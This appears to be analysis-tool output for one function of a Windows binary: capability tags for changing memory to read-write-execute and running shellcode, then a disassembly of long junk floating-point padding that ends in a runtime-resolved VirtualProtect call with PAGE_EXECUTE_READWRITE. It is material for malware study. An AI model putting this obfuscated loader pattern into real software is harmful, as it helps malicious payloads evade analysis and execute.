Function at 0x402fd0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
mov dword [ebp - 0x28], str.kernel32.dll
fld dword [0x415920]
fstp dword [ebp - 8]
fld dword [0x41591c]
fstp dword [ebp - 8]
fld dword [0x415918]
fstp dword [ebp - 8]
fld dword [ebp - 8]
fcomp qword [0x4156f0]
fnstsw ax
test ah, 0x44
jnp 0x40301a
fld dword [0x415914]
fstp dword [ebp - 8]
fld dword [0x415910]
fstp dword [ebp - 8]
fld dword [0x41590c]
fstp dword [ebp - 8]
fld dword [ebp - 8]
fcomp qword [0x4156f0]
fnstsw ax
test ah, 0x44
jnp 0x403045
fld dword [0x415908]
fstp dword [ebp - 8]
fld dword [0x415904]
fstp dword [ebp - 8]
fld dword [0x415900]
fstp dword [ebp - 8]
fld dword [ebp - 8]
fcomp qword [0x4156f0]
fnstsw ax
test ah, 0x44
jnp 0x403070
fld dword [0x4158fc]
fstp dword [ebp - 8]
fld dword [0x4158f8]
fstp dword [ebp - 8]
fld dword [0x4158f4]
fstp dword [ebp - 8]
fld dword [ebp - 8]
fcomp qword [0x4156f0]
fnstsw ax
test ah, 0x44
jnp 0x40309b
fld dword [0x4158f0]
fstp dword [ebp - 8]
fld dword [0x4158ec]
fstp dword [ebp - 8]
fld dword [0x4158e8]
fstp dword [ebp - 8]
fld dword [ebp - 8]
fcomp qword [0x4156f0]
fnstsw ax
test ah, 0x44
jnp 0x4030c6
fld dword [0x4158e4]
fstp dword [ebp - 8]
fld dword [0x4158e0]
fstp dword [ebp - 8]
fld dword [0x4158dc]
fstp dword [ebp - 4]
fld dword [0x4158d8]
fstp dword [ebp - 4]
fld dword [0x4158d4]
fstp dword [ebp - 4]
fld dword [ebp - 4]
fcomp qword [0x4156f0]
fnstsw ax
test ah, 0x44
jnp 0x403103
fld dword [0x4158d0]
fstp dword [ebp - 4]
fld dword [0x4158cc]
fstp dword [ebp - 4]
fld dword [0x4158c8]
fstp dword [ebp - 4]
fld dword [ebp - 4]
fcomp qword [0x4156f0]
fnstsw ax
test ah, 0x44
jnp 0x40312e
fld dword [0x4158c4]
fstp dword [ebp - 4]
fld dword [0x4158c0]
fstp dword [ebp - 4]
fld dword [0x4158bc]
fstp dword [ebp - 4]
fld dword [ebp - 4]
fcomp qword [0x4156f0]
fnstsw ax
test ah, 0x44
jnp 0x403159
fld dword [0x4158b8]
fstp dword [ebp - 4]
fld dword [0x4158b4]
fstp dword [ebp - 4]
fld dword [0x4158b0]
fstp dword [ebp - 4]
fld dword [ebp - 4]
fcomp qword [0x4156f0]
fnstsw ax
test ah, 0x44
jnp 0x403184
fld dword [0x4158ac]
fstp dword [ebp - 4]
fld dword [0x4158a8]
fstp dword [ebp - 4]
fld dword [0x4158a4]
fstp dword [ebp - 4]
fld dword [ebp - 4]
fcomp qword [0x4156f0]
fnstsw ax
test ah, 0x44
jnp 0x4031af
fld dword [0x4158a0]
fstp dword [ebp - 4]
fld dword [0x41589c]
fstp dword [ebp - 4]
fld dword [0x415898]
fstp dword [ebp - 0x10]
fld dword [0x415894]
fstp dword [ebp - 0x10]
fld dword [0x415890]
fstp dword [ebp - 0x10]
fld dword [ebp - 0x10]
fcomp qword [0x4156f0]
fnstsw ax
test ah, 0x44
jnp 0x4031ec
fld dword [0x41588c]
fstp dword [ebp - 0x10]
fld dword [0x415888]
fstp dword [ebp - 0x10]
fld dword [0x415884]
fstp dword [ebp - 0x10]
fld dword [ebp - 0x10]
fcomp qword [0x4156f0]
fnstsw ax
test ah, 0x44
jnp 0x403217
fld dword [0x415880]
fstp dword [ebp - 0x10]
fld dword [0x41587c]
fstp dword [ebp - 0x10]
fld dword [0x415878]
fstp dword [ebp - 0x10]
fld dword [ebp - 0x10]
fcomp qword [0x4156f0]
fnstsw ax
test ah, 0x44
jnp 0x403242
fld dword [0x415874]
fstp dword [ebp - 0x10]
fld dword [0x415870]
fstp dword [ebp - 0x10]
fld dword [0x41586c]
fstp dword [ebp - 0x10]
fld dword [ebp - 0x10]
fcomp qword [0x4156f0]
fnstsw ax
test ah, 0x44
jnp 0x40326d
fld dword [0x415868]
fstp dword [ebp - 0x10]
fld dword [0x415864]
fstp dword [ebp - 0x10]
fld dword [0x415860]
fstp dword [ebp - 0x10]
fld dword [ebp - 0x10]
fcomp qword [0x4156f0]
fnstsw ax
test ah, 0x44
jnp 0x403298
fld dword [0x41585c]
fstp dword [ebp - 0x10]
fld dword [0x415858]
fstp dword [ebp - 0x10]
fld dword [0x415854]
fstp dword [ebp - 0x14]
fld dword [0x415850]
fstp dword [ebp - 0x14]
fld dword [0x41584c]
fstp dword [ebp - 0x14]
fld dword [ebp - 0x14]
fcomp qword [0x4156f0]
fnstsw ax
test ah, 0x44
jnp 0x4032d5
fld dword [0x415848]
fstp dword [ebp - 0x14]
fld dword [0x415844]
fstp dword [ebp - 0x14]
fld dword [0x415840]
fstp dword [ebp - 0x14]
fld dword [ebp - 0x14]
fcomp qword [0x4156f0]
fnstsw ax
test ah, 0x44
jnp 0x403300
fld dword [0x41583c]
fstp dword [ebp - 0x14]
fld dword [0x415838]
fstp dword [ebp - 0x14]
fld dword [0x415834]
fstp dword [ebp - 0x14]
fld dword [ebp - 0x14]
fcomp qword [0x4156f0]
fnstsw ax
test ah, 0x44
jnp 0x40332b
fld dword [0x415830]
fstp dword [ebp - 0x14]
fld dword [0x41582c]
fstp dword [ebp - 0x14]
fld dword [0x415828]
fstp dword [ebp - 0x14]
fld dword [ebp - 0x14]
fcomp qword [0x4156f0]
fnstsw ax
test ah, 0x44
jnp 0x403356
fld dword [0x415824]
fstp dword [ebp - 0x14]
fld dword [0x415820]
fstp dword [ebp - 0x14]
fld dword [0x41581c]
fstp dword [ebp - 0x14]
fld dword [ebp - 0x14]
fcomp qword [0x4156f0]
fnstsw ax
test ah, 0x44
jnp 0x403381
fld dword [0x415818]
fstp dword [ebp - 0x14]
fld dword [0x415814]
fstp dword [ebp - 0x14]
fld dword [0x415810]
fstp dword [ebp - 0x1c]
fld dword [0x41580c]
fstp dword [ebp - 0x1c]
fld dword [0x415808]
fstp dword [ebp - 0x1c]
fld dword [ebp - 0x1c]
fcomp qword [0x4156f0]
fnstsw ax
test ah, 0x44
jnp 0x4033be
fld dword [0x415804]
fstp dword [ebp - 0x1c]
fld dword [0x415800]
fstp dword [ebp - 0x1c]
fld dword [0x4157fc]
fstp dword [ebp - 0x1c]
fld dword [ebp - 0x1c]
fcomp qword [0x4156f0]
fnstsw ax
test ah, 0x44
jnp 0x4033e9
fld dword [0x4157f8]
fstp dword [ebp - 0x1c]
fld dword [0x4157f4]
fstp dword [ebp - 0x1c]
fld dword [0x4157f0]
fstp dword [ebp - 0x1c]
fld dword [ebp - 0x1c]
fcomp qword [0x4156f0]
fnstsw ax
test ah, 0x44
jnp 0x403414
fld dword [0x4157ec]
fstp dword [ebp - 0x1c]
fld dword [0x4157e8]
fstp dword [ebp - 0x1c]
fld dword [0x4157e4]
fstp dword [ebp - 0x1c]
fld dword [ebp - 0x1c]
fcomp qword [0x4156f0]
fnstsw ax
test ah, 0x44
jnp 0x40343f
fld dword [0x4157e0]
fstp dword [ebp - 0x1c]
fld dword [0x4157dc]
fstp dword [ebp - 0x1c]
fld dword [0x4157d8]
fstp dword [ebp - 0x1c]
fld dword [ebp - 0x1c]
fcomp qword [0x4156f0]
fnstsw ax
test ah, 0x44
jnp 0x40346a
fld dword [0x4157d4]
fstp dword [ebp - 0x1c]
fld dword [0x4157d0]
fstp dword [ebp - 0x1c]
fld dword [0x4157cc]
fstp dword [ebp - 0x2c]
fld dword [0x4157c8]
fstp dword [ebp - 0x2c]
fld dword [0x4157c4]
fstp dword [ebp - 0x2c]
fld dword [ebp - 0x2c]
fcomp qword [0x4156f0]
fnstsw ax
test ah, 0x44
jnp 0x4034a7
fld dword [0x4157c0]
fstp dword [ebp - 0x2c]
fld dword [0x4157bc]
fstp dword [ebp - 0x2c]
fld dword [0x4157b8]
fstp dword [ebp - 0x2c]
fld dword [ebp - 0x2c]
fcomp qword [0x4156f0]
fnstsw ax
test ah, 0x44
jnp 0x4034d2
fld dword [0x4157b4]
fstp dword [ebp - 0x2c]
fld dword [0x4157b0]
fstp dword [ebp - 0x2c]
fld dword [0x4157ac]
fstp dword [ebp - 0x2c]
fld dword [ebp - 0x2c]
fcomp qword [0x4156f0]
fnstsw ax
test ah, 0x44
jnp 0x4034fd
fld dword [0x4157a8]
fstp dword [ebp - 0x2c]
fld dword [0x4157a4]
fstp dword [ebp - 0x2c]
fld dword [0x4157a0]
fstp dword [ebp - 0x2c]
fld dword [ebp - 0x2c]
fcomp qword [0x4156f0]
fnstsw ax
test ah, 0x44
jnp 0x403528
fld dword [0x41579c]
fstp dword [ebp - 0x2c]
fld dword [0x415798]
fstp dword [ebp - 0x2c]
fld dword [0x415794]
fstp dword [ebp - 0x2c]
fld dword [ebp - 0x2c]
fcomp qword [0x4156f0]
fnstsw ax
test ah, 0x44
jnp 0x403553
fld dword [0x415790]
fstp dword [ebp - 0x2c]
fld dword [0x41578c]
fstp dword [ebp - 0x2c]
fld dword [0x415788]
fstp dword [ebp - 0x18]
fld dword [0x415784]
fstp dword [ebp - 0x18]
fld dword [0x415780]
fstp dword [ebp - 0x18]
fld dword [ebp - 0x18]
fcomp qword [0x4156f0]
fnstsw ax
test ah, 0x44
jnp 0x403590
fld dword [0x41577c]
fstp dword [ebp - 0x18]
fld dword [0x415778]
fstp dword [ebp - 0x18]
fld dword [0x415774]
fstp dword [ebp - 0x18]
fld dword [ebp - 0x18]
fcomp qword [0x4156f0]
fnstsw ax
test ah, 0x44
jnp 0x4035bb
fld dword [0x415770]
fstp dword [ebp - 0x18]
fld dword [0x41576c]
fstp dword [ebp - 0x18]
fld dword [0x415768]
fstp dword [ebp - 0x18]
fld dword [ebp - 0x18]
fcomp qword [0x4156f0]
fnstsw ax
test ah, 0x44
jnp 0x4035e6
fld dword [0x415764]
fstp dword [ebp - 0x18]
fld dword [0x415760]
fstp dword [ebp - 0x18]
fld dword [0x41575c]
fstp dword [ebp - 0x18]
fld dword [ebp - 0x18]
fcomp qword [0x4156f0]
fnstsw ax
test ah, 0x44
jnp 0x403611
fld dword [0x415758]
fstp dword [ebp - 0x18]
fld dword [0x415754]
fstp dword [ebp - 0x18]
fld dword [0x415750]
fstp dword [ebp - 0x18]
fld dword [ebp - 0x18]
fcomp qword [0x4156f0]
fnstsw ax
test ah, 0x44
jnp 0x40363c
fld dword [0x41574c]
fstp dword [ebp - 0x18]
fld dword [0x415748]
fstp dword [ebp - 0x18]
fld dword [0x415744]
fstp dword [ebp - 0x24]
fld dword [0x415740]
fstp dword [ebp - 0x24]
fld dword [0x41573c]
fstp dword [ebp - 0x24]
fld dword [ebp - 0x24]
fcomp qword [0x4156f0]
fnstsw ax
test ah, 0x44
jnp 0x403679
fld dword [0x415738]
fstp dword [ebp - 0x24]
fld dword [0x415734]
fstp dword [ebp - 0x24]
fld dword [0x415730]
fstp dword [ebp - 0x24]
fld dword [ebp - 0x24]
fcomp qword [0x4156f0]
fnstsw ax
test ah, 0x44
jnp 0x4036a4
fld dword [0x41572c]
fstp dword [ebp - 0x24]
fld dword [0x415728]
fstp dword [ebp - 0x24]
fld dword [0x415724]
fstp dword [ebp - 0x24]
fld dword [ebp - 0x24]
fcomp qword [0x4156f0]
fnstsw ax
test ah, 0x44
jnp 0x4036cf
fld dword [0x415720]
fstp dword [ebp - 0x24]
fld dword [0x41571c]
fstp dword [ebp - 0x24]
fld dword [0x415718]
fstp dword [ebp - 0x24]
fld dword [ebp - 0x24]
fcomp qword [0x4156f0]
fnstsw ax
test ah, 0x44
jnp 0x4036fa
fld dword [0x415714]
fstp dword [ebp - 0x24]
fld dword [0x415710]
fstp dword [ebp - 0x24]
fld dword [0x41570c]
fstp dword [ebp - 0x24]
fld dword [ebp - 0x24]
fcomp qword [0x4156f0]
fnstsw ax
test ah, 0x44
jnp 0x403725
fld dword [0x415708]
fstp dword [ebp - 0x24]
fld dword [0x415704]
fstp dword [ebp - 0x24]
mov eax, dword [ebp - 0x28]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [ebp - 0x20], eax
mov dword [ebp - 0xc], 0
mov ecx, dword [str.VirtualProtect]
push ecx
mov edx, dword [ebp - 0x20]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x76f640], eax
lea eax, [ebp - 0xc]
push eax
push 0x40
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [0x76f640]
xor eax, eax
xor edx, edx
mov esp, ebp
pop ebp
ret